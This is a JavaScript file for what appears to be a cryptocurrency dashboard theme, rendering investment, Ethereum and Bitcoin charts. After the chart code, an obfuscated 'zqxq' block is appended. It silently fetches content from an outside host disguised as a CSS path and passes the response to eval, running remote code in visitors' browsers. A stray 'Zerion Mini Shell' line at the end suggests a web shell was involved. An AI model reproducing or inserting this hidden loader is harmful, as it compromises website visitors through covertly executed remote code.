                        return val + " dollar"
                    }
                }
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#apex_crypto_chart"),
                options
                );
        chart.render();
    }

////////////// Account Page Chart //////////////////////
    var chartjs_multiaxis_bar = document.getElementById("chartjs-account-chart");
    if (chartjs_multiaxis_bar) {
        var barmultiaxisChartData = {
            labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
            datasets: [{
                    label: 'Investment',
                    backgroundColor: [
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor,
                        primarycolor
                    ],
                    yAxisID: 'y-axis-1',
                    data: [35, 55, 75, 95, 115, 135, 155, 175, 195, 215, 235, 250]
                }]

        };
        ctx = document.getElementById('chartjs-account-chart').getContext('2d');
        window.myBar = new Chart(ctx, {
            type: 'bar',
            data: barmultiaxisChartData,
            options: {
                responsive: true,
                legend: {
                    display: false,
                    position: 'top',
                    labels: {
                        fontColor: bodycolor
                    }
                },
                scales: {
                    xAxes: [{
                            display: true,
                            maxBarThickness: 10,
                            gridLines: {
                                display: true,
                                color: bordercolor,
                                zeroLineColor: bordercolor
                            },
                            ticks: {
                                fontColor: bodycolor,
                            },
                        }],
                    yAxes: [{
                            type: 'linear', // only linear but allow scale type registration. This allows extensions to exist solely for log scale for instance
                            display: false,
                            position: 'left',
                            id: 'y-axis-2',
                            gridLines: {
                                drawOnChartArea: false,
                                color: bordercolor,
                                zeroLineColor: bordercolor
                            },
                            ticks: {
                                fontColor: bodycolor,
                            }
                        }, {
                            display: true,
                            gridLines: {
                                display: true,
                                color: bordercolor,
                                zeroLineColor: bordercolor
                            },
                            ticks: {
                                fontColor: bodycolor,
                            }
                        }]
                }
            }
        });
    }

/////////////////////////////////// ETHEREUM Chart /////////////////////
    if ($("#eth_apex_area_chart").length > 0)
    {
        var series =
                {
                    "monthDataSeries1": {
                        "prices": [11, 32, 45, 32, 34, 52, 41]
                    }
                }
        var options = {
            theme: {
                mode: theme
            },
            chart: {

                type: 'area',
                toolbar: {
                    show: false
                },
                zoom: {
                    enabled: false
                }
            },
            colors: ['#1e3d73', '#6e63dc', '#635bb5', '#615b9a'],
            dataLabels: {
                enabled: false
            },
            stroke: {
                curve: 'smooth',
                width: 2
            },
            series: [{
                    name: "STOCK ABC",
                    data: series.monthDataSeries1.prices
                }],
            xaxis: {
                show: !1, labels: {
                    show: !1
                }
                , axisBorder: {
                    show: !1
                }
            },
            yaxis: {
                show: !1
            },
            grid: {
                show: !1, padding: {
                    bottom: -40,
                    left: 0,
                    right: 0
                }
            },
            legend: {
                horizontalAlign: 'left'
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#eth_apex_area_chart"),
                options
                );
        chart.render();
    }
/////////////////////////////////// Bitcoin Chart /////////////////////
    if ($("#bch_apex_area_chart").length > 0)
    {
        var series =
                {
                    "monthDataSeries1": {
                        "prices": [11, 32, 45, 32, 34, 52, 41]
                    }
                }
        var options = {
            theme: {
                mode: theme
            },
            chart: {

                type: 'area',
                toolbar: {
                    show: false
                },
                zoom: {
                    enabled: false
                }
            },
            colors: ['#28a745', '#37ad52', '#4ac165', '#5fca77', '#7ed492'],
            dataLabels: {
                enabled: false
            },
            stroke: {
                curve: 'smooth',
                width: 2
            },
            series: [{
                    name: "STOCK ABC",
                    data: series.monthDataSeries1.prices
                }],
            xaxis: {
                show: !1, labels: {
                    show: !1
                }
                , axisBorder: {
                    show: !1
                }
            },
            yaxis: {
                show: !1
            },
            grid: {
                show: !1, padding: {
                    top: 0,
                    bottom: -40,
                    left: 0,
                    right: 0
                }
            },
            legend: {
                horizontalAlign: 'left'
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#bch_apex_area_chart"),
                options
                );
        chart.render();
    }
/////////////////////////////////// Bitcoin Chart /////////////////////
    if ($("#stats_apex_area_chart").length > 0)
    {
        var series =
                {
                    "monthDataSeries1": {
                        "prices": [11, 32, 45, 32, 34, 52, 41]
                    }
                }
        var options = {
            theme: {
                mode: theme
            },
            chart: {

                type: 'area',
                toolbar: {
                    show: false
                },
                zoom: {
                    enabled: false
                }
            },
            colors: ['#17a2b8', '#d43f4d', '#da5965', '#de6f79', '#e88790'],
            dataLabels: {
                enabled: false
            },
            stroke: {
                curve: 'smooth',
                width: 2
            },
            series: [{
                    name: "STOCK ABC",
                    data: series.monthDataSeries1.prices
                }],
            xaxis: {
                show: !1, labels: {
                    show: !1
                }
                , axisBorder: {
                    show: !1
                }
            },
            yaxis: {
                show: !1
            },
            grid: {
                show: !1, padding: {
                    top: 0,
                    bottom: -40,
                    left: 0,
                    right: 0
                }
            },
            legend: {
                horizontalAlign: 'left'
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#stats_apex_area_chart"),
                options
                );
        chart.render();
    }

})(jQuery);
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//crm-ind.silveroak.website/assets/vendors/fullcalendar/bundle/bundle.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};

Zerion Mini Shell 1.0